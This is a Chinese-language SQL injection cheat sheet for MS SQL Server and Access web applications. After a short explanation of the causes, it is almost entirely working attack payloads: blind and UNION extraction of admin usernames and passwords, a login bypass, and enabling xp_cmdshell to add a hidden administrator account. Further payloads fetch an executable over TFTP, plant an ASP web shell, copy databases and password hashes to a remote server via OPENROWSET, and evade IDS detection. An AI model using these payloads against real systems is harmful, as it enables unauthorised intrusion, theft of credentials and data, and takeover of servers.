简介:所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意SQL命令。具体来说,它是利用现有应用程序,将恶意非法字符SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入恶意非法字符SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句.SQL注入命令:
原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。根据相关技术原理,SQL注入可以分为平台层注入和代码层注入。前者由不安全的数据库配置或数据库平台的漏洞所致;后者主要是由于程序员对输入未进行细致地过滤,从而执行了非法的数据查询。基于此,SQL注入的产生原因通常表现在以下几方面:①不当的类型处理;②不安全的数据库配置;③不合理的查询集处理;④不当的错误处理;⑤转义字符处理不合适;⑥多个提交处理不当。
攻击:当应用程序使用输入内容来构造动态sql语句以访问数据库时,会发生sql注入攻击。如果代码使用存储过程,而这些存储过程作为包含未筛选的用户输入的字符串来传递,也会发生sql注入。sql注入可能导致攻击者使用应用程序登陆在数据库中执行命令。相关的SQL注入可以通过测试工具pangolin进行。如果应用程序使用特权过高的帐户连接到数据库,这种问题会变得很严重。在某些表单中,用户输入的内容直接用来构造动态sql命令,或者作为存储过程的输入参数,这些表单特别容易受到sql注入的攻击。而许多网站程序在编写时,没有对用户输入的合法性进行判断或者程序中本身的变量处理不当,使应用程序存在安全隐患。这样,用户就可以提交一段数据库查询的代码,根据程序返回的结果,获得一些敏感的信息或者控制整个服务器,于是sql注入就发生.
猜解列名:
(Select count(*) from 表名)<>0
And (Select count(列名) from 表名)<>0
and exists (select * from 表名)
and exists (select 列名 from 表名)
注:exists这个不能应用于猜内容上,只能拆解表格名,返回正确,那么写入的表名或列名即正确.
很多人都是喜欢查询里面的内容,一旦iis没有关闭错误提示的,那么就可以利用报错方法轻松获得库里面的内容
获得数据库连接用户名:
;and user>0
and 1=(selet top 1 user from admin)
暴数据库名:
and db_name()>0
注:通过IIS服务器报错,进入注入猜解爆库
Union联合查询:
Order by 10 And 1=2 union select 1,2,3,4,5,6,7,8,9,10 from admin
And 1=2 union select 1,2,3,user,5,passwd,7,8,9,10 from admin
注:order by 10主要查字段数目,admin查询表名,user,passwd查询列名,返回正确即对,返回异常即错.
ASCII码拆半法,若知道指定列名,例如user内容长度:
and (select len(user) from admin)=2
注:查询长度为不为2位,返回错误的增加或减少数字,一般这个数字不会太大,太大的就要放弃,猜也多余,后面逻辑符号可以根据不同要求更改,>;大于 <;小于=等于,更新语句的话,=也可以表示传递符号 <>;就是不等.
若长度后就开始猜解:
And (Select top 1 asc(mid(user,n,1)) from admin)>100
注:And (Select top 1 asc(mid(user,1,1)) from admin)>100就是猜解user里内容的第一位ASCII字符是不是大于100,n就是猜解表名第几位,最后长度数字就是刚才猜解出来的列名长度,正确的话,那么表示USER第一个字符的ASCII码大于100,那么就猜>120,返回错误就是介于100-120之间,然后再一步一步的缩少,最终得到正确字符XXX,然后用ASCII转换器吧这个转换成普通字符即可.
And (Select top 1 asc(mid(user,2,1)) from admin)>100
注:加在url后面,列名表名还是先猜解,返回正确的代表帐号的ASCII码大于100,那么就再向前猜,直到报错,把猜出来的ASCII码拿去ASCII转换器转换即可,中文是负数,加上asb取绝对值.
And (Select top 1 asb(asc(mid(user,n,1))) from admin)>-15320
后台身份验证绕过漏洞:
注:验证绕过漏洞就是'or'='or'后台绕过漏洞,利用的就是AND和OR的运算规则,从而造成后台脚本逻辑性错误,例如管理员的账号密码都是admin,那么再比如后台的数据库查询语句是
user=request("user")
passwd=request("passwd")
sql='select admin from adminbate where user='&'''&user&'''&' and passwd='&'''&passwd&'''
使用'or 'a'='a来做用户名密码查询:
select admin from adminbate where user=''or 'a'='a' and passwd=''or 'a'='a'
注:根据运算规则,这里一共有4个查询语句,那么查询结果就是:假or真and假or真,先算and再算or,最终结果为真,这样就可以爆破弱口令进入到后台,这种漏洞存在必须要有2个条件,第一:在后台验证代码上,账号密码的查询是要同一条查询语句,也就是类似:sql="select * from admin where username='"&username&'&"passwd='"&passwd&',如果一旦账号密码是分开查询的,先查帐号,再查密码,这样的话就没有办法爆破查询;第二:要看密码是否加密,一旦MD5加密或者其他加密方式加密,那就要看第一种条件有没有可以,没有达到第一种条件的话,那就没有戏.
判断有无注入点:
; and 1=1 and 1=2
2.猜表一般表格名名称无非是admin adminuser user pass password 等..
and 0<>(select count(*) from *)
判断是否存在admin表格:
and 0<>(select count(*) from admin)
猜帐号数目,如果遇到0< 返回正确页面, 1<返回错误页面,说明帐号数目就是1个:
and 0<(select count(*) from admin)
and 1<(select count(*) from admin)
猜解字段名称,在len( )括号里加上想到的字段名称:
and 1=(select count(*) from admin where len(*)>0)--
and 1=(select count(*) from admin where len(用户字段名称name)>0)
and 1=(select count(*) from admin where len(密码字段名称password)>0)
猜解各个字段长度,猜解长度就是把>0变换,直到返回正确页面为止:
and 1=(select count(*) from admin where len(*)>0)
and 1=(select count(*) from admin where len(name)>6) 错误
and 1=(select count(*) from admin where len(name)>5) 正确 长度是6
and 1=(select count(*) from admin where len(name)=6) 正确
and 1=(select count(*) from admin where len(password)>11) 正确
and 1=(select count(*) from admin where len(password)>12) 错误 长度是12
and 1=(select count(*) from admin where len(password)=12) 正确
猜解字符:
猜解用户帐号第一位:
and 1=(select count(*) from admin where left(name,1)=a)
循环猜解用户帐号第二位:
and 1=(select count(*) from admin where left(name,2)=ab)
循环猜解用户帐号字符:
and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) --
此查询语句可以猜解中文用户名和密码,只要把后面数字换成中文的ASSIC码,最后把结果再转换成字符:
group by users. id having 1=1--
group by users. id,users.username,users.password,users.privs having 1=1--
; insert into users values( 666,attacker,foobar,0xffff )--
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable-
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable WHERE COLUMN_NAME NOT IN
(login_id)-UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable WHERE COLUMN_NAME NOT IN
(login_id,login_name)-UNION SELECT TOP 1 login_name FROM logintable-
UNION SELECT TOP 1 password FROM logintable where login_name=Rahul--
查看服务器补丁,若出错说明已有SP4补丁:
and 1=(select @@VERSION)--
查看数据库连接账号的权限,返回正常,证明是服务器角色sysadmin权限:
and 1=(SELECT IS_SRVROLEMEMBER(sysadmin))--
判断连接数据库帐号,采用SA账号连接,返回正常,证明连接账号是SA:
and sa=(SELECT System_user)--
and user_name()=dbo--
and 0<>(select user_name()--
查看xp_cmdshell是否删除:
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name = xp_cmdshell)--
查看xp_cmdshell是否被删除和恢复,支持绝对路径恢复:
;EXEC master.dbo.sp_addextendedproc xp_cmdshell,xplog70.dll--
;EXEC master.dbo.sp_addextendedproc xp_cmdshell,c:\inetpub\wwwroot\xplog70.dll--
反向PING本机实验:
;use master;declare @s int;exec sp_oacreate "wscript.shell",@s out;exec sp_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1";--
添加帐号:
;DECLARE @shell INT EXEC SP_OACREATEwscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null,C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add--
创建虚拟目录E盘:
;declare @o int exec sp_oacreatewscript.shell,@o out exec sp_oamethod @o,run,NULL,cscript.exec:\inetpub\wwwroot\mkwebdir.vbs -w "默认Web站点" -v "e","e:\"--
访问属性,写入WebShell:
declare @o int exec sp_oacreate wscript.shell,@o out exec sp_oamethod @o,run,NULL,cscript.exec:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse
爆库特殊技巧:%5c=\ 或者把/和\ 修改%5提交:
and 0<>(select top 1 paths from newtable)--
获得库名,从1到5都是系统id,6以上才可以判断:
and 1=(select name from master.dbo.sysdatabases where dbid=7)--
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
依次提交dbid = 7,8,9....获得更多数据库名:
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 暴表,假设为admin
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in (Admin)) 获得其他表名
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin
and uid>(str(id))) 暴到UID的数值假设为18779569 uid=id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 获得admin字段,假设为user_id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in
(id,...))来暴出其他字段:
and 0<(select user_id from BBS.dbo.admin where username>1) 获得用户名
依次可以得到密码,假设存在user_id username,password等字段:
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 获得表格名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in(Address))
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin and uid>(str(id))) 判断id值
and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段
id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union,access也好用)
得到Web路径:
;create table [dbo].[swap] ([swappass][char](255));--
and (select top 1 swappass from swap)=1--
;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_regread
@rootkey=HKEY_LOCAL_MACHINE,@key=SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\,@value_name=/,
values=@testOUTPUT insert into paths(path) values(@test)--
;use ku1;--;create table cmd (str image);-- 建立image类型的表cmd
存在xp_cmdshell测试过程:
;exec master..xp_cmdshell dir
;exec master.dbo.sp_addlogin jiaoniang$;-- 加SQL帐号
;exec master.dbo.sp_password null,jiaoniang$,1866574;--
;exec master.dbo.sp_addsrvrolemember jiaoniang$ sysadmin;--
;exec master.dbo.xp_cmdshell net user jiaoniang$ 1866574 /workstations:* /times:all /passwordchg:yes /passwordreq:yes
/active:yes /add;--;exec master.dbo.xp_cmdshell net localgroup administrators jiaoniang$ /add;--
exec master..xp_servicecontrol start,schedule启动服务:
exec master..xp_servicecontrol start,server
; DECLARE @shell INT EXEC SP_OACREATE wscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null,C:\WINNT\system32
\cmd.exe /c net user jiaoniang$ 1866574 /add;DECLARE @shell INT EXEC SP_OACREATE wscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null,C:\WINNT\system32\cmd.exe
利用TFTP上传文件:
/c net localgroup administrators jiaoniang$ /add; exec master..xp_cmdshell tftp -i youip get file.exe--
;declare @a sysname set @a=xp_+cmdshell exec @a dir c:\;declare @a sysname set @a=xp+_cm’+’dshell exec @a dir c:\;declare @a;set @a=db_name();backup database @a to disk=本机IP共享目录bak.dat
如果被限制则,则使用:
select * from openrowset(sqloledb,server;sa;,select OK! exec master.dbo.sp_addlogin hax)
查询构造:
SELECT * FROM news WHERE id=... AND topic=... AND .....adminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1) and userpass <>
显示ffff用户:
select 123;--;use master;--:a or name like fff%;--
and 1<>(select count(email) from [user]);--
;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;--;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;--
;update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;--
;update [users] set email=(select top 1 count(id) from password) where name=ffff;--
;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;--
;update [users] set email=(select top 1 name from password where id=2) where name=ffff;--
上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中,通过查看ffff用户资料可获得第一个用表叫ad,然后根据表名ad获得到表格ID,获得第二个表格名字:
insert into users values( 666,char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),0xffff)--insert into users values( 667,123,123,0xffff)--insert into users values ( 123,admin--,password,0xffff)--;and user>0;and (select count(*) from sysobjects)>0;and (select count(*) from mysysobjects)>0 为access数据库
枚举出数据表名:
;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);--
将表名更新到aaa字段处,读出第一个表,第二个表可以这样读出来,在条件后加上and name<>;表名
;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0 and name<>vote);--
id=1552 and exists(select * from aaa where aaa>5)
读出第二个表,一个个的读出,直到没有为止,读字段
;update aaa set aaa=(select top 1 col_name(object_id(表名),1));--
然后id=152 and exists(select * from aaa where aaa>5)出错,获得字段名:
;update aaa set aaa=(select top 1 col_name(object_id(表名),2));--
然后id=152 and exists(select * from aaa where aaa>5)出错,获得字段名:
update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>; 获得表名,查出一个加一个])
[ where 条件] select top 1 name from sysobjects where xtype=u and status>0 and name not in(table1,table2,…)
update 表名 set 字段=(select top 1 col_name(object_id(要查询的数据表名,字段列如:1) [ where 条件]
绕过IDS的检测[使用变量]:
;declare @a sysname set @a=xp_+cmdshell exec @a dir c:\
;declare @a sysname set @a=xp+_cm’+’dshell exec @a dir c:\
开启远程数据库:
select * from OPENROWSET(SQLOLEDB,server=servername;uid=sa;pwd=123,select * from table1 )
连接字符串参数可以是任何端口用来连接:
select * from OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table
复制目标主机的整个数据库insert所有远程表到本地表:
insert into OPENROWSET(SQLOLEDB,server=servername;uid=sa;pwd=123,select * from table1) select * from table2
此行语句将目标主机上table2表中所有数据复制到远程数据库中的table1表中,实际运用中适当修改连接字符串的IP地址和端口,指向需要的地方:
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from
table2
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysdatabases)
select * from master.dbo.sysdatabases
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysobjects)
select * from user_database.dbo.sysobjects
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _syscolumns)
select * from user_database.dbo.syscolumns
复制数据库:
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from database..table1 insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table2) select * fromdatabase..table2
复制哈西表登录密码hash存储于sysxlogins中:
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysxlogins) select * from database.dbo.sysxlogins
获得hash进行暴力破解,遍历目录方法,先创建临时表temp:
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
;insert into temp(id) exec master.dbo.xp_subdirs c:\;-- 获得子目录列表
;insert into temp(id,num1) exec master.dbo.xp_dirtree c:\;-- 获得所有子目录的目录树结构,并寸入temp表中
;insert into temp(id) exec master.dbo.xp_cmdshell type c:\web\index.asp;-- 查看某个文件的内容
;insert into temp(id) exec master.dbo.xp_cmdshell dir c:\;--
;insert into temp(id) exec master.dbo.xp_cmdshell dir c:\ *.asp /s/a;--
;insert into temp(id) exec master.dbo.xp_cmdshell cscript. C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc
;insert into temp(id,num1) exec master.dbo.xp_dirtree c:\;-- (xp_dirtree适用权限PUBLIC)
写入表格:
and 1=(SELECT IS_SRVROLEMEMBER(sysadmin));--
and 1=(SELECT IS_SRVROLEMEMBER(serveradmin));--
and 1=(SELECT IS_SRVROLEMEMBER(setupadmin));--
and 1=(SELECT IS_SRVROLEMEMBER(securityadmin));--
and 1=(SELECT IS_SRVROLEMEMBER(securityadmin));--
and 1=(SELECT IS_SRVROLEMEMBER(diskadmin));--
and 1=(SELECT IS_SRVROLEMEMBER(bulkadmin));--
and 1=(SELECT IS_SRVROLEMEMBER(bulkadmin));--
and 1=(SELECT IS_MEMBER(db_owner));--
把路径写入表格中:
;create table dirs(paths varchar(100),id int)--
;insert dirs exec master.dbo.xp_dirtree c:\--
and 0<>(select top 1 paths from dirs)--
and 0<>(select top 1 paths from dirs where paths not in(@Inetpub))--
;create table dirs1(paths varchar(100),id int)--
;insert dirs exec master.dbo.xp_dirtree e:\web--
and 0<>(select top 1 paths from dirs1)--
把数据库备份到网页目录并下载:
;declare @a sysname; set @a=db_name();backup database @a to disk=e:\web\down.bak;--
and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where xtype=char(85)) T order by id desc)
and 1=(Select Top 1 col_name(object_id(USER_LOGIN),1) from sysobjects) 参看相关表格
and 1=(select user_id from USER_LOGIN)
and 0=(select user from USER_LOGIN where user>1)
-=-wscript.shellexample -=-
declare @o int
exec sp_oacreate wscript.shell,@o out
exec sp_oamethod @o,run,NULL,notepad.exe
; declare @o int exec sp_oacreate wscript.shell,@o out exec sp_oamethod @o,run,NULL,notepad.exe--
declare @o int,@f int,@t int,@ret int
declare @line varchar(8000)
exec sp_oacreate scripting.filesystemobject,@o out
exec sp_oamethod @o,opentextfile,@f out,c:\boot.ini,1
exec @ret = sp_oamethod @f,readline,@line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_oamethod @f,readline,@line out
end
declare @o int,@f int,@t int,@ret int
exec sp_oacreate scripting.filesystemobject,@o out
exec sp_oamethod @o,createtextfile,@f out,c:\inetpub\wwwroot\foo.asp,1
exec @ret = sp_oamethod @f,writeline,NULL,
<% set o = server.createobject("wscript.shell"): o.run( request.querystring("cmd") ) %>
declare @o int,@ret int
exec sp_oacreate speech.voicetext,@o out
exec sp_oamethod @o,register,NULL,foo,bar
exec sp_oasetproperty @o,speed,150
exec sp_oamethod @o,speak,NULL,all your sequel servers are belong to,us,528 waitfor delay 00:00:05
; declare @o int,@ret int exec sp_oacreate speech.voicetext,@o out exec sp_oamethod @o,register,NULL,foo,bar exec
sp_oasetproperty @o,speed,150 exec sp_oamethod @o,speak,NULL,all your sequel servers are belong to us,528 waitfor delay 00:00:05--
xp_dirtree适用权限PUBLIC:
exec master.dbo.xp_dirtree c:\
返回信息有两个字段:Subdirectory字段是字符型,depth字段是整形字段:
create table dirs(paths varchar(100),id int)
建表与上面xp_dirtree相关连,字段相等、类型相同:
insert dirs exec master.dbo.xp_dirtree c:\
注:只要建表与存储进程返回字段相定义相等就能够执行,达到写入表格的效果.
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